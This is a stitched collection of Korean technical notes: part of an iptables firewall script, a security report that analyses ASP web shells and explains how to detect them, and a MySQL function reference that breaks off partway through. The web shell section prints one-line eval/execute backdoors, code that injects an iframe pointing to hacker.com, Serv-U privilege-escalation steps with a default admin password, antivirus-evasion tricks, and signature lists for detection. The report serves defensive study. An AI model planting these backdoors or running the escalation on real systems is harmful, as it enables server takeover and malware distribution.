$iptables -A INPUT -p udp --dport 0:65535 -j DROP
$iptables -A INPUT -p icmp --icmp-type echo-request -j REJECT

# 각종 서비스들에 대해 최대의 성능을 발휘할 수 있도록 TOS 설정을 한다.
$iptables -t mangle -A OUTPUT -p tcp -s 0/0 --sport 80 -j TOS --set-tos 0x10
$iptables -t mangle -A OUTPUT -p tcp -d 0/0 --dport 22 -j TOS --set-tos 0x10
$iptables -t mangle -A OUTPUT -p tcp -d 0/0 --dport 21 -j TOS --set-tos 0x10
$iptables -t mangle -A OUTPUT -p tcp -d 0/0 --dport 20 -j TOS --set-tos 0x08
$iptables -t mangle -A OUTPUT -p tcp -s 0/0 --sport 23 -j TOS --set-tos 0x10

# 외부 서비스를 위한 설정. / udp service
# dns 상호 쿼리를 위해서...
#$iptables -A INPUT -p udp --sport 53 -m state --state ESTABLISHED -j ACCEPT

# TCP service
# ftp-data, 서버자체가 클라이언트가 될 경우...
$iptables -A INPUT -p tcp --dport 20 -m state --state NEW,ESTABLISHED -j ACCEPT
$iptables -A INPUT -p tcp --dport 20 -m state --state ESTABLISHED -j ACCEPT
$iptables -A INPUT -i eth0 -p tcp --sport 1024:65535 --dport 1024:65535 -m state --state ESTABLISHED,RELATED -j ACCEPT

# ftp service
# ftp 를 이용할 수 있는 대역을 지정하였습니다. 좀더 세밀해 질 수 있겠죠.
#$iptables -A INPUT -s 아이피.0.0.0/8 -p tcp --dport 21 -j ACCEPT
#$iptables -A INPUT -s 아이피.0.0/16-p tcp --dport 21 -j ACCEPT
$iptables -A INPUT -s 아이피.0/24 -p tcp --dport 21 -j ACCEPT

# telnet
# telnet은 현재 서비스 하지 않습니다.
$iptables -A INPUT -s 아이피.0.0/16 -p tcp --dport 23 -j ACCEPT

# pop3s 를 이용하는 관계로 995번을 열고 있습니다.
#$iptables -A INPUT -p tcp --dport 995 -m state --state NEW,ESTABLISHED -j ACCEPT

# ip 대역 예제.
# ip 대역뿐만 아니라 아래와 같이 상태접속을 지정할 수도 있습니다.
$iptables -A INPUT -s 아이피.0.0/16 -p tcp --dport 23 -m state --state NEW,ESTABLISHED -j ACCEPT
$iptables -A INPUT -s 아이피.0.0/16 -p tcp --dport 22 -m state --state NEW,ESTABLISHED -j ACCEPT
$iptables -A INPUT -s 아이피.0/24 -p tcp --dport 22 -m state --state NEW,ESTABLISHED -j ACCEPT
$iptables -A INPUT -s 아이피.0.0/16 -p tcp --dport 22 -m state --state NEW,ESTABLISHED -j ACCEPT

# UDP service
# udp 서비스는 하나뿐이죠?
#$iptables -A INPUT -p udp --dport 53 -m state --state NEW,ESTABLISHED -j ACCEPT

echo -e "\nDone.\n"

exit;

ASP 웹쉘 상세 분석 및 탐지 방안

1. 개 요

가. 웹쉘이란?
웹쉘이란 공격자가 원격에서 대상 웹서버에 명령을 수행할 수 있도록 작성한 웹 스크립트 (asp, jsp, php, cgi) 파일이다. 이때 zip, jpg, doc와 같은 데이터 파일종류 이외에 악의적으로 제작된 스크립트 파일인 웹쉘을 업로드하여 웹 서버를 해킹하는 사고가 빈번히 발생하고 있다. 최근에는 파일 업로드뿐만 아니라 SQL Injection과 같은 웹 취약점을 공격한 후 지속적으로 피해시스템을 관리할 목적으로 웹쉘을 생성 한다.

공격자는 웹쉘을 대상 서버에 업로드한 후 웹을 이용하여 시스템 명령어를 수행하므로 네트워크 방화벽 영향을 받지 않고 서버를 제어할 수 있다. 웹쉘은 웹페이지 소스코드 열람, 악성스크립트 (iframe 등) 삽입, 파일 업로드, 서버 및 데이터베이스 자료 유출 등의 다양한 공격이 가능하다.
최근 웹쉘은 탐지를 어렵게 하기 위해 웹쉘의 일부분만을 피해시스템에 업로드 하는 등 그 유형이 나날이 발전하고 있다.

나. 웹쉘의 위험성
2007년도 인터넷침해사고대응지원센터(www.krcert.or.kr)에서 한 해 동안 분석했던 피해 웹서버 중 웹쉘이 발견된 웹서버는 총 91%의 분포를 보였다. 이것은 공격자들이 취약점을 공격 한 후 웹쉘을 업로드하여 시스템을 통제하기가 수월하다보니 사용 빈도가 높은 것을 확인할 수 있다.

웹 취약점을 통해 피해시스템에 접근한 공격자는 방화벽에서 접근을 허용하는 HTTP (80/tcp) 서비스를 통해 피해시스템을 제어 하므로 웹쉘을 차단하기가 쉽지 않다.

피해시스템에서 수집된 ASP 웹쉘 샘플 한 개를 http://www.virustotal.com 사이트에서 각 바이러스 백신 엔진 탐지결과를 확인하였다. 아래 그림과 같이 많은 국내외 백신사에서 탐지 못하고 있으며 공격자들은 스크립트 웹쉘들을 빈번히 변경시켜 사용하기 때문에 백신들로서는 탐지하기가 쉽지 않다.

[그림] 웹쉘 백신탐지 결과

또한 일반적인 서버관리자들은 해킹여부를 확인하기 힘들고 피해를 인지하더라도 관리자들이 주로 사용하는 백신 프로그램에서 웹쉘 탐지가 안 되므로 웹쉘을 찾기가 쉽지 않다. 관리자들이 해킹 피해를 인지하고 시스템을 재설치 하더라도 이전에 웹쉘이 업로드 되어 있는 소스 그대로 새롭게 설치한 시스템에 복사하여 사용하기 때문에 지속적으로 웹쉘을 관리하는 공격자에게 피해를 입게 된다.



다. 웹쉘 최신 동향
o 인증된 공격자만 사용가능하도록 패스워드를 입력받거나, 특정 세션 값으로 세팅해야만 기능 들을 사용할 수 있는 웹쉘들이 많다.

[그림] 웹쉘 사용자 인증

o ASP의 eval, execute 메소드 등은 원격에 있는 공격자로부터 웹쉘 실행코드를 전달 받아 실행 하는데 많이 이용되고 있다. 이 같은 Eval, Execute 코드는 정상적인 스크립트 파일에도 삽입이 가능해 웹쉘 탐지가 더욱 어려워지고 있다.

o 최근 각 백신 사, 관리자들에 의해 웹쉘 탐지가 늘어 공격자들은 여러 기능을 하는 웹쉘 코드를 각 기능별로 웹쉘들을 분리하여 사용하고 있다. 그 중 파일 생성 기능, DB 쿼리 기능을 하는 웹쉘 파일들이 빈번하게 발견되고 있다.

o ASP 스크립트의 경우 웹 소스를 보호하기 위해 인코딩하는 Script Encoder를 제공하고 있다.
이러한 인코더를 악용하여 웹쉘을 인코딩하고 백신탐지를 우회하고 있다.

o 공격자들은 웹쉘이 업로드 되어있는 피해시스템 웹쉘 URL을 관리하기 위해 관리프로그램들을 사용하고 있다. 중국 해커들은 아래와 같은 관리프로그램을 개발하여 자신들이 장악했던 피해 사이트들을 체계적으로 관리하고 있다.

[그림] 웹쉘 관리 프로그램

2. ASP 웹쉘 상세 분석
최근 국내에서 발생하고 있는 피해 시스템 웹서버 대부분은 윈도우가 차지하고 있다. 윈도우, IIS, ASP 환경의 사이트들이 특히 SQL Injection 공격에 취약할 경우 이러한 취약점을 이용하는 자동화 공격 도구들로 인해 쉽게 악성코드 유포지, 경유지로 악용되고 있다. 이러한 윈도우 피해시스템을 공격하는데 많이 사용되는 ASP 웹쉘의 기능과 동향에 대해 상세히 살펴보도록 하겠다.

가. 각 기능별 웹쉘 분석

■ 명령어 및 각종 어플리케이션 실행
ASP 웹쉘에서는 윈도우에서 시스템 명령어나 외부 프로그램을 실행하기 위해 Wscript.Shell, Shell.Application 오브젝트를 이용한다. Wscript.Shell 오브젝트는 메소드 Run, Exec를 이용하여 시스템 명령어 및 외부 프로그램을 실행할 수 있다.

o Wscript.Shell
- Run (cmd, 0, True)
- Exec (cmd)
Set WshShell = Server.CreateObject (“WScript.Shell”)
Call WshShell.Run (cmd, 0, True)
Set WshShell = CreateObject (“WScript.Shell”)
Set oExec = WshShell.Exec (cmd)


시스템 명령어 또는 프로그램을 실행할 수 있는 또 다른 방법은 Shell.Application 오브젝트의
ShellExecute 메소드를 이용하는 것이다.

o Shell.Application
- Shellexecute“ Application”,“ Argument”,“ Path”,“ ”, 1

set objShell = CreateObject(“Shell.Application”)
objShell.ShellExecute “notepad.exe”, “ ”, “ ”, “open”, 1


■ 파일 조작
파일관련 조작은 Scripting.FileSystemObject, Shell.Application, Adodb.Stream 오브젝트를 사용한다. 이 중에서 Scripting.FileSystemObject, Adodb.Stream 을 이용한 파일 조작 방법에 대해 살펴보도록 하겠다.

o Scripting.FileSystemObject
- 파일 리스팅

Set fso = CreateObject(“Scripting.FileSystemObject”)
Set f = fso.GetFolder(folderpath)
Set fp = f.Files
For Each f1 in fp
s = s & f1.name
Next


- 파일 보기
fso는 Scripting.FileSystemObject로 생성한 오브젝트이다.

Set f = fso.OpenTextFile(“c:\testfile.txt”)
ra = f.ReadAll


- 파일 생성 및 수정

Set MyFile = fso.CreateTextFile(“c:\testfile.txt”, True)
MyFile.Write Contents


- 파일 이동 및 삭제

fso.CopyFile Path1, Path2
fso.CopyFolder Path1, Path2
fso.DeleteFile Path
fso.DeleteFolder Path


■ 파일 다운로드
o Adodb.Stream

Set stream = Server.CreateObject”Adodb.Stream”)
stream.Open
stream.Type = 1
stream.LoadFromFile(Path)
Response.AddHeader “Content-Disposition”, “attachment; filename=” & FileName
Response.AddHeader “Content-Length”, stream.Size
Response.Charset = “UTF-8”
Response.ContentType = “application/octet-stream”
Response.BinaryWrite stream.Read
Response.Flush
stream.Close
Set stream = Nothing


■ 파일 업로드
Adodb.Stream 오브젝트를 이용하여 파일을 업로드 한다. 관련 메소드들은 아래와 같다.
※ 구현 예제 코드 생략
o Adodb.Stream
- Write
- Read
- SaveToFile

■ 웹페이지들에 악성스크립트 삽입 기능
웹쉘에서는 악성코드를 유포하기 위해 각 html 파일들이나 스크립트 파일에 악성 스크립트 (iframe)를 삽입하는 기능이 있다.

o 정규표현식으로 아래와 같이 악성스크립트를 삽입할 파일명을 정의한다. default, index main 등 홈페이지 메인페이지 이름을 갖는 html 파일들이나 스크립트 파일들을 정규표현 식으로 찾는다.
- (\\|\/)(default|index|main|admin)\.(htm|html|asp|php|jsp|aspx)\b

o 그리고 아래와 같은 iframe 악성 스크립트 코드를 삽입한다.
- <iframe src=http://hacker.com/m.htm width=0 height=0></iframe>

◈ 정규 표현식으로 파일이름을 검사하여 메인 페이지를 찾는다.
Set regEx=New RegExp
regEx.Pattern=”(\\|\/)(default|index|main|admin)\.(htm|html|asp|php|jsp|aspx)\b”
regEx.IgnoreCase=True
retVal=regEx.Test(path)

◈ 위 정규 표현식으로 검색된 파일의 끝에 iframe 코드를 삽입한다.
Set fs=Server.createObject(“Scripting.FileSystemObject”)
Set f=fs.GetFile(path)
Set f_addcode=f.OpenAsTextStream(8,-2) // 포인터는 파일 끝으로 이동하고 쓰기 모드로 연다
f_addcode.Write “<iframe src=http://hacker.com/m.htm width=0
height=0></iframe>”
f_addcode.Close


■ 데이터베이스 열람 및 조작
데이터베이스에 접속하기 위해서는 Adodb.Connection 오브젝트를 사용하고 아래와 같은 메소드를 이용하여 데이터베이스 연결 및 SQL 쿼리 문들을 실행할 수 있다.

Set Con = Server.CreateObject(“Adodb.Connection”)
Con.Open “Provider=SQLOLEDB;Data
Source=SERVER_NAME;database=DB_NAME;uid=UID;pwd=PWD”
SQL = “SELECT * FROM table”
Set RS = Con.Execute(SQL)


■ 레지스트리 조작
윈도우는 모든 시스템 구성 정보나 사용자 설정 정보를 레지스트리에 저장한다. 웹쉘에서는 아래와 같은 Wscript.Shell 오브젝트와 관련 메소드를 이용하여 레지스트리 확인 및 조작 한다.

※ 구현 예제 코드 생략
o Wscript.Shell
- RegRead
- RegWrite
- RegDelete
웹쉘에서 참조하는 레지스트리 값들은 아래와 같다.

- 터미널 서비스 포트, PortNumber 키 값 변경
HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\
- 윈도우 자동으로 로그인 키 값(autoadminlogon)이 설정되어 있는 경우 디폴트 사용자 이름
(DefaultUserName)과 패스워드(DefaultPassword)를 확인
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\
- 컴퓨터 이름 확인
HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName\ComputerName
- 익명 사용자 접속 여부 및 공유 정보 확인
HKLM\SYSTEM\CurrentControlSet\Control\Lsa\restrictanonymous
HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters\AutoShareServer
HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters\EnableSha
redNetDrives
- 보안 필터링 및 포워딩 여부 확인
HKLM\SYSTEM\currentControlSet\Services\Tcpip\Parameters\EnableSecurityFilters
HKLM\SYSTEM\ControlSet001\Services\Tcpip\Parameters\IPEnableRouter
- 네트워크 카드 정보 확인
HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{8A465128
-8E99-4B0C-AFF3-1348DC55EB2E}\DefaultGateway
HKLM\SYSTEM\ControlSet001\Services\Tcpip\Enum\Count
HKLM\SYSTEM\ControlSet001\Services\Tcpip\Linkage\Bind


■ 시스템 정보 확인
웹쉘에서 GetObject 메소드를 이용해 서비스와 사용자 장보를 확인 한다.

o 서비스 확인

Set ComputerObj = GetObject(“WinNT://MYCOMPUTER”)
ComputerObj.Filter = Array(“Service”)
For Each Service in ComputerObj
WScript.Echo “Service display name = “ & Service.DisplayName
WScript.Echo “Service account name = “ & Service.ServiceAccountName
WScript.Echo “Service executable = “ & Service.Path
WScript.Echo “Current status = “ & Service.Status
Next


o 사용자 정보확인

Set objComputer = GetObject(“WinNT://.”)
objComputer.Filter = Array(“User”)
For Each objUser in objComputer
WScript.Echo objUser.Name
Next


■ 어플리케이션 취약점을 통한 로컬 권한상승

웹에서 실행되는 모든 파일들은 기본적으로 인터넷 게스트 계정으로 으로 실행된다. 웹쉘은 이러한 제한된 권한을 관리자 권한으로 상승시키기 위해 취약점 있는 Serv-U 프로그램을 이용한다.
Serv-U 3.x ~ 5.x는 로컬 권한 상승 취약점이 있으며 이를 이용하여 새로운 관리자 계정을 생성할 수 있다. 취약점을 공격하는 과정은 아래와 같다.

o Serv-U 3.x ~ 5.x 버전의 ServUDaemon.exe 다운로드 및 실행 (TzoLibr.dll 필요)
o Serv-U 디폴트 아이피/포트(127.0.0.1/43958) 로 접속 후
o Serv-U 디폴트 관리 아이디/패스워드로 로그인
- USER LocalAdministrator (디폴트 아이디)
- PASS #l@$ak#.lk;0@P (디폴트 패스워드)
o Serv-U에 신규 도메인 생성
o Serv-U 명령어 실행에 필요한 Serv-U 사용자 추가
o “SITE EXEC“ Serv-U 내부 스크립트를 통한 시스템 명령어 수행

set a=Server.CreateObject(“Microsoft.XMLHTTP”)
a.open “GET”, “http://127.0.0.1:” & port & “/goldsun/upadmin/s1”,True, “”, “”
a.send loginuser & loginpass & “SITE MAINTENANCE” & deldomain & newdomain &
newuser & quit
set session(“a”)=a
set b=Server.CreateObject(“Microsoft.XMLHTTP”)
b.open “GET”, “http://127.0.0.1:” & ftpport & “/goldsun/upadmin/s2”, True, “”, “”
b.send “User go” & vbCrLf & “pass od” & vbCrLf & “SITE EXEC “ & cmd & vbCrLf & quit
set session(“b”)=b


나. 스크립트 인코딩
마이크로소프트社의 윈도우 스크립트는 Script Encoder를 제공하여 일반 사용자들이 스크립트 내용을 확인하는게 쉽지 않도록 하고 있다. 하지만 웹쉘을 업로드한 공격자가 이러한 기능을 악용하여 관리자가 웹쉘을 쉽게 찾지 못하도록 백신탐지를 우회 하는데 이용하고 있다.

http://msdn2.microsoft.com/en-us/library/cbfz3598(VS.85).aspx

Script Encoder는 콘솔모드에서 명령어 라인으로 실행되며 다음과 같이 사용한다.

SCRENC [switches] inputfile outputfile

일반 asp 스크립트를 인코딩 하면 아래와 같은 결과가 된다.

일반 소스
인코딩 소스
<script language=”VBScript”>
<%
This is test
%>
</script>
<%@ LANGUAGE = VBScript.Encode %>
<script language=”VBScript”>
<%#@~^FAAAAA==@#@&K4b/,k/,Y dY
@#@&ogQAAA==^#~@%>
</script>

[그림] scrdec18 프로그램을 이용한 디코딩

다. 짧은 웹쉘
ASP 웹쉘 중 eval, execute 메소드를 이용하여 공격자로부터 웹쉘 코드를 전달 받아 실행하는 짧은 소스 코드들이 있다. 이같이 짧은 소스코드가 정상적인 소스에 삽입되어 실행되는 경우도 있으므로 관리자들의 각별한 주의가 필요하다.

- eval (expression) : eval 함수는 expression으로 정의된 코드를 평가하여 결과(True, False)를 알려준다.
- execute (expression) : execute 함수는 expression으로 정의된 코드를 실행하여 결과를 알려준다.

eval, execute 메소드를 이용한 웹쉘 구동 방법은 아래 개요도처럼, 먼저 공격자는 피해시스템에 웹쉘 코드를 보내는 html 폼(2006_lite.asp.html)을 준비하고 그 폼에 웹쉘 코드를 넣어 피해 시스템 웹쉘(server.asp)에 전송한다. 피해시스템에서는 웹쉘 코드를 전달 받아 execute, eval 메소드로 실행하고 execute 메소드는 결과를 공격자에게 전달해 준다. (eval 메소드는 코드를 실행하고 결과에 대한 True, False 만을 알려주므로 적절한 결과를 공격자에게 알려주지는 못한다)

[그림] execute, eval 코드를 이용한 웹쉘 실행 방법

■ eval 코드
다음은 피해시스템에서 발견된 eval 코드 유형이며 아래와 같이 한 줄, 짧은 코드로 이루어진다.
- <%eval request(“l”)%>
- <%eval(request(“#”))%>

■ execute 코드
다음은 피해시스템에서 발견된 execute 코드 유형이다.
- <%execute request(“l”)%>
- <%If Request(“#”)<>”” Then Execute(Request(“#”))%>

■ execute 세션 유지 용 코드
execute 메소드를 이용한 짧은 코드의 경우 공격자가 실행하기 원하는 코드를 위 개요도 그림처럼 매번 전송해주어야 하는 번거로움이 있다. 그래서 공격자들은 한번 넘겨준 코드를 실행한 결과를 세션으로 연결하여 다음에는 코드를 넘겨줄 필요 없이 실행 결과에서 다음 메뉴로 넘어갈 수 있도록 하였다.

<script language=”vbscript” runat=”server”>
If Request(“asdf”)<>”” Then Session(“조직킬러”)=Request(“asdf”)
If Session(“조직킬러”)<>”” Then Execute(Session(“조직킬러”))
</script>


라. 기타

■ 문자열 분리를 이용한 탐지 우회 기능
최근 바이러스 백신이나 서버 관리자들이 웹쉘 시그니쳐를 통해 웹쉘 탐지가 많아지자 공격자 들은 시그니쳐로 이용되는 문자열(오브젝트 명)들을 분산시켜 탐지를 우회하고 있다.

- Shell.Application
문자열을 연결하는 & 연산자를 이용하고 값이 주어지지 않은 변수 x를 이용해 아래와 같이
Shell.Application 문자열을 분리한다.
Set sa = Server.CreateObject“( She”&x&”ll.Appl”&x&”ication”)
“She”&x&”ll.Appl”&x&”ication”=>“ Shell.Application”
- WScript.Shell
Set ws = Server.CreateObject“( WScr”&x&”ipt.Shell”)

■ 파일 생성 웹쉘
Scripting.FileSystemObject 오브젝트를 이용하여 새로운 파일을 생성하는 기능을 앞서 살펴 보았다. 최근 정상적인 스크립트들에서도 사용하는 CreateTextFile, Write 메소드를 이용하여 단지 파일만 생성하는 웹쉘들이 증가하고 있다. 이러한 웹쉘은 정상적인 스크립트에서 사용하는 오브젝트와 메소드를 사용하므로 탐지하기가 쉽지 않다. 또한 이러한 웹쉘들은 앞서 설명한 다양한 기능을 가지는 웹쉘을 얼마든지 생성할 수가 있어 관리자들의 주의가 필요하다.

[그림] 파일 생성 웹쉘 화면

3. 탐지 방안

가. 웹쉘 시그니쳐를 이용한 파일 검색

■ 시그니쳐
웹쉘은 시스템 명령어를 수행하거나 파일을 조작하기 위해 관련된 오브젝트, Wscript.Shell, Shell.Application 등을 주로 사용하게 된다. 하지만 이러한 오브젝트는 정상적인 스크립트 코드에서는 사용하지 않는 것들로 웹쉘 탐지를 위한 시그니쳐로 지정하여 웹쉘을 탐지하는데 이용할 수 있다. 이렇게 시그니쳐로 지정할 만한 문자열들을 찾아본 결과 다음과 같았다.

- Wscript.Shell, Shell.Application 과 같은 시스템에 접근할 수 있는 오브젝트나 메소드
- 인코딩된 파일에 삽입된 헤더 문자열 VBScript.Encode
- 중국어 간체 gb2312
- 시스템 명령에 필요한 문자열 cmd.exe
- 정상적인 스크립트에서 흔히 사용되지 않는 eval, execute 함수 등

cmd\.exe
Wscript\.Shell Shell\.Application VBScript\.Encode gb2312
execute *\(? *session execute *\(? *request eval *\(? *request \.run.*> \.exec *\(
webshell lake2 hack520 lcxMarcos Marcos


■ findstr 명령어를 활용한 탐지 방법
findstr 이라는 명령어는 지정된 파일들에서 찾고자 하는 특정 문자열들을 검색할 수 있도록 도와준다. 위에서 정의된 시그니쳐들을 파일(asp.sig)로 지정하고 사이트 홈 디렉터리에서 아 래의 예처럼 실행해 보기 바란다.

findstr /i /r /s /g:asp.sig *.asp

- i : 대소문자 구분없이 검색
- g : 지정된 파일에서 검색 문자열을 받음
- r : 정규 표현식 사용
- s : 모든 하위디렉터리 검색

※ 최근 공격자들이 웹쉘 확장자를 .cer, .asa, cdx, hta로 변경하여 파일을 업로드 하는 경우가 있다.(파일 업로드
우회 공격) 반드시 검사 확장자를 asp 뿐만 아니라 스크립트로 실행되도록 지정된 .asa, .cer 등도 반드시 함께
검색 하도록 해야 한다.


[그림] 검사대상 확장명

나. 웹쉘 로그 시그니쳐를 이용한 웹 로그 검색

■ 시그니쳐
최근 대부분의 웹쉘들은 POST 방식으로 관련 데이터들을 전송하기 때문에 웹 로그에서 웹쉘이 실행된 흔적을 찾기가 쉽지 않다. 하지만 많은 웹쉘들은 실행할 메뉴들을 GET 방식으로 전달 하여 이러한 로그들을 대상으로 시그니쳐를 추출 할 수 있었다. 아래 8.0.asp 웹쉘에서 시스템 명령어 수행하는 메뉴를 실행하면 아래와 같이 /WebShell/8.0.asp?Action=Cmd1Shell GET 요청을 하게 되어 Action=Cmd1Shell 이라는 고유의 시그니쳐를 얻을 수 있다.

ex) http://victim.com/WebShell/8.0.asp?Action=Cmd1Shell

인터넷침해사고대응지원센터에서 피해시스템에서 수집된 웹쉘을 테스트하고 아래와 같이 웹쉘 실행여부를 확인할 수 있는 시그니쳐를 추출하였다.

Action=MainMenu
Action=Show1File
Action=EditFile
Action=DbManager
Action=getTerminalInfo
Action=ServerInfo
Action=Servu
Action=kmuma
Action=kmuma&act=scan
Action=Cplgm&M=2
Action=plgm
Action=PageAddToMdb >
Action=ReadREG
Action=ScanPort
Action=Cmd1Shell
Action=UpFile
(pageName|id|list|action|act)=ServiceList
(pageName|id|list|action|act)=ServiceList
(pageName|id|list|action|act)=infoAboutSrv
(pageName|id|list|action|act)=objOnSrv
(pageName|id|list|action|act)=userList
(pageName|id|list|action|act)=WsCmdRun
(pageName|id|list|action|act)=SaCmdRun
(pageName|id|list|action|act)=SaCmdRun&theAct
(pageName|id|list|action|act)=FsoFileExplorer
(pageName|id|list|action|act)=FsoFileExplorer&theAct
(pageName|id|list|action|act)=FsoFileExplorer&thePath
pageName=MsDataBase
pageName=MsDataBase&theAct=showTables
pageName=TxtSearcher
pageName=OtherTools
act=scan
Action=mainwin
action=listtb
action=listvw
action=listdb
action=execsql
action=dbsrcbox
action=searchfile
action=xpcmdshell
(action|act)=cmdshell
action=mainmenu
action=showfile
action=editfile
action=course
action=serverinfo
action=upfile
action=dbmanager
ex=edit&pth=
PageName=PageUpload&theAct
PageName=PageWebProxy&url=
productName=HigroupASPAdmin
PageWebProxy
aCTiON=cMd
aCTiON=ClonETiMe&SrC=
aCTiON=SqLrOotKIt
aCTiON=Reg
aCTiON=DAtA
aCTiON=Goto&SrC=C:\
aCTiON=uPFIlE&SrC=
aCTiON=NEw&SrC=
act=info
act=filemanage
act=edit&src=
act=del&src=
act=rename&src=
DirName=
Type=.*FileName=.*\
Type=.*ok=dir
FsoFileExplorer
WsCmdRun
SaCmdRun
MsDataBase
HigroupASPAdmin
=cmd
ClonETiMe
SqLrOotKIt


4. 결론
관리하는 서버에서 웹쉘이 탐지되었다면 시스템에 웹쉘을 생성할 수 있었던 취약점이 존재 할 것 이다. 웹쉘이 업로드 된 피해시스템을 분석한 결과 대부분 파일 업로드, SQL Injection과 같은 어플리케이션 취약점으로 웹쉘이 생성되는 것으로 확인되었다. 웹쉘을 탐지해서 제거하는 것도 중요하지만 웹쉘을 생성할 수 있었던 근본적인 취약점을 찾아내어 패치하는 것도 관리자들이 꼭~! 잊지 않고 해야 될 작업일 것이다.
앞서 탐지 방법에서 제공한 시그니쳐들은 오탐이 발생할 수 있으므로 반드시 이 보고서에서 설명한 기능을 갖는 웹쉘인지 확인 후 삭제해야 한다.

MySQL 내장 함수 정리

 

MySQL commands

Note that all text commands must be first on line and end with ';'

명령어

약어

설명

help

\h

Display this help

?

\?

Synonym for `help'

clear

\c

Clear command

connect

\r

Reconnect to the server. Optional arguments are db and host

ego

\G

Send command to mysql server, display result vertically

exit

\q

Exit mysql. Same as quit

go

\g

Send command to mysql server

notee

\t

Don't write into outfile

print

\p

Print current command

quit

\q

Quit mysql

rehash

\#

Rebuild completion hash

source

\.

Execute a SQL script file. Takes a file name as an argument

status

\s

Get status information from the server

tee

\T

Set outfile [to_outfile]. Append everything into given outfile

use

\u

Use another database. Takes database name as argument

Connection id: 6 (Can be used with mysqladmin kill)

1. 숫자 관련 함수

 

▶ ABS(숫자)

-절대값 출력.

 

▶ CEILING(숫자)

-값보다 큰 정수 중 가장 작은 수.

 

▶ FLOOR(숫자)

-값보다 작은 정수 중 가장 큰 수[실수를 무조건 버림(음수일 경우는 제외)].

 

▶ ROUND(숫자,자릿수)

-숫자를 소수점 이하 자릿수에서 반올림.(자릿수는 양수,0,음수를 갖을 수 있다.)

 

▶ TRUNCATE(숫자,자릿수)

-숫자를 소수점 이하 자릿수에서 버림.

 

▶ POW(X,Y) or POWER(X,Y)

-X의 Y승

 

▶ MOD (분자, 분모)

-분자를 분모로 나눈 나머지를 구한다.(연산자 %와 같음)

 

▶ GREATEST(숫자1,숫자2,숫자3...)

-주어진 수 중 제일 큰 수 리턴.

 

▶ LEAST(숫자1,숫자2,숫자3...)

-주어진 수 중 제일 작은 수 리턴.

 

▶ INTERVAL(a,b,c,d.....)

-a(숫자)의 위치 반환

 

2. 문자 관련 함수

 

▶ ASCII(문자)

-문자의 아스키 코드값 리턴.

 

▶ CONCAT('문자열1','문자열2','문자열3'...)

-문자열들을 이어준다.

 

▶ INSERT('문자열','시작위치','길이','새로운문자열')

-문자열의 시작위치부터 길이만큼 새로운 문자열로 대치

 

▶ REPLACE('문자열','기존문자열','바뀔문자열')

-문자열 중 기존문자열을 바뀔 문자열로 바꾼다.

 

▶ INSTR('문자열','찾는문자열')

-문자열 중 찾는 문자열의 위치값을 출력

 

▶ LEFT('문자열',개수)

-문자열 중 왼쪽에서 개수만큼을 추출.

 

▶ RIGHT('문자열',개수)

-문자열 중 오른쪽에서 개수만큼을 추출.

 

▶ MID('문자열',시작위치,개수)

-문자열 중 시작위치부터 개수만큼 출력

 

▶ SUBSTRING('문자열',시작위치,개수)

-문자열 중 시작위치부터 개수만큼 출력

 

▶ LTRIM('문자열')

-문자열 중 왼쪽의 공백을 없앤다.

 

▶ RTRIM('문자열')

-문자열 중 오른쪽의 공백을 없앤다.

 

▶ TRIM('문자열')

-양쪽 모두의 공백을 없앤다.

 

▶ LCASE('문자열') or LOWER('문자열')

-소문자로 바꾼다.

 

▶ UCASE('문자열') or UPPER('문자열')

-대문자로 바꾼다.

 

▶ REVERSE('문자열')

-문자열을 반대로 나열한다.

 

3. 논리 관련 함수

 

▶ IF(논리식,참일 때 값,거짓일 때 값)

   논리식이 참이면 참일 때 값을 출력하고 논리식이 거짓이면 거짓일 때 출력한다.

 

▶ IFNULL(값1,값2)

값1이 NULL 이면 값2로 대치하고 그렇지 않으면 값1을 출력

 

4. 집계 함수

 

▶ COUNT(필드명)

   NULL 값이 아닌 레코드 수를 구한다.

 

▶ SUM(필드명)

   필드명의 합계를 구한다.

 

▶ AVG(필드명)

   각각의 그룹 안에서 필드명의 평균값을 구한다.

 

▶ MAX(필드명)

   최대값을 구한다.

 

▶ MIN(필드명)

   최소값을 구한다.

 

 

5. 날짜 관련 함수

 

▶ NOW() or SYSDATE() or CURRENT_TIMESTAMP()

-현재 날짜와 시간 출력

 

▶ CURDATE() or CURRENT_DATE()

-현재 날짜 출력

 

▶ CURTIME() or CURRENT_TIME()

-현재 시간 출력

 

▶ DATE_ADD(날짜,INTERVAL 기준값)

-날짜에서 기준값 만큼 더한다.

※ 기준값 : YEAR, MONTH, DAY, HOUR, MINUTE, SECOND

 

▶ DATE_SUB(날짜,INTERVAL 기준값)

-날짜에서 기준값 만큼 뺸다.

※ 기준값 : YEAR, MONTH, DAY, HOUR, MINUTE, SECOND

 

▶ YEAR(날짜)

-날짜의 연도 출력.

 

▶ MONTH(날짜)

-날짜의 월 출력.

 

▶ MONTHNAME(날짜)

-날짜의 월을 영어로 출력.

 

▶ DAYNAME(날짜)

-날짜의 요일일 영어로 출력.

 

▶ DAYOFMONTH(날짜)

-날짜의 월별 일자 출력.

 

▶ DAYOFWEEK(날짜)

-날짜의 주별 일자 출력(월요일(0),화요일(1)...일요일(6))

 

▶ WEEKDAY(날짜)

-날짜의 주별 일자 출력(월요일(0),화요일(1)...일요일(6))

 

 

▶ DAYOFYEAR(날짜)

-일년을 기준으로 한 날짜까지의 날 수.

 

▶ WEEK(날짜)

-일년 중 몇 번쨰 주.

 

▶ FROM_DAYS(날 수)

   --00년 00월 00일부터 날 수 만큼 경과한 날의 날짜 출력.

 

▶ TO_DAYS(날짜)

   --00 년 00 월 00일 부터 날짜까지의 일자 수 출력.

 

▶ DATE_FORMAT(날짜,'형식') : 날짜를 형식에 맞게 출력

타입

기호

설명

기호

설명

년도

%Y

4자리 연도

%y

2자리 년도

%M

%b

긴 월 이름 (January, ...)

짧은 월 이름(Jan, ...)

%m

%c

숫자의 월 (01...12)

숫자의 월 (1...12)

요일

%W

긴 요일 이름 (Sunday, ...)

%a

짧은 요일 이름 (Sun, ...)

%D

%w

월 내에서 서수 형식의 일(1th, ...)

숫자의 요일 (0=Sunday, ...)

%d

%e

%j

월 내의 일자 (01...31)

월 내의 일자 (1...31)

일년 중의 날수 (001...366)

%l

%h

%I

12시간제의 시 (1...12)

12시간제의 시 (01...12)

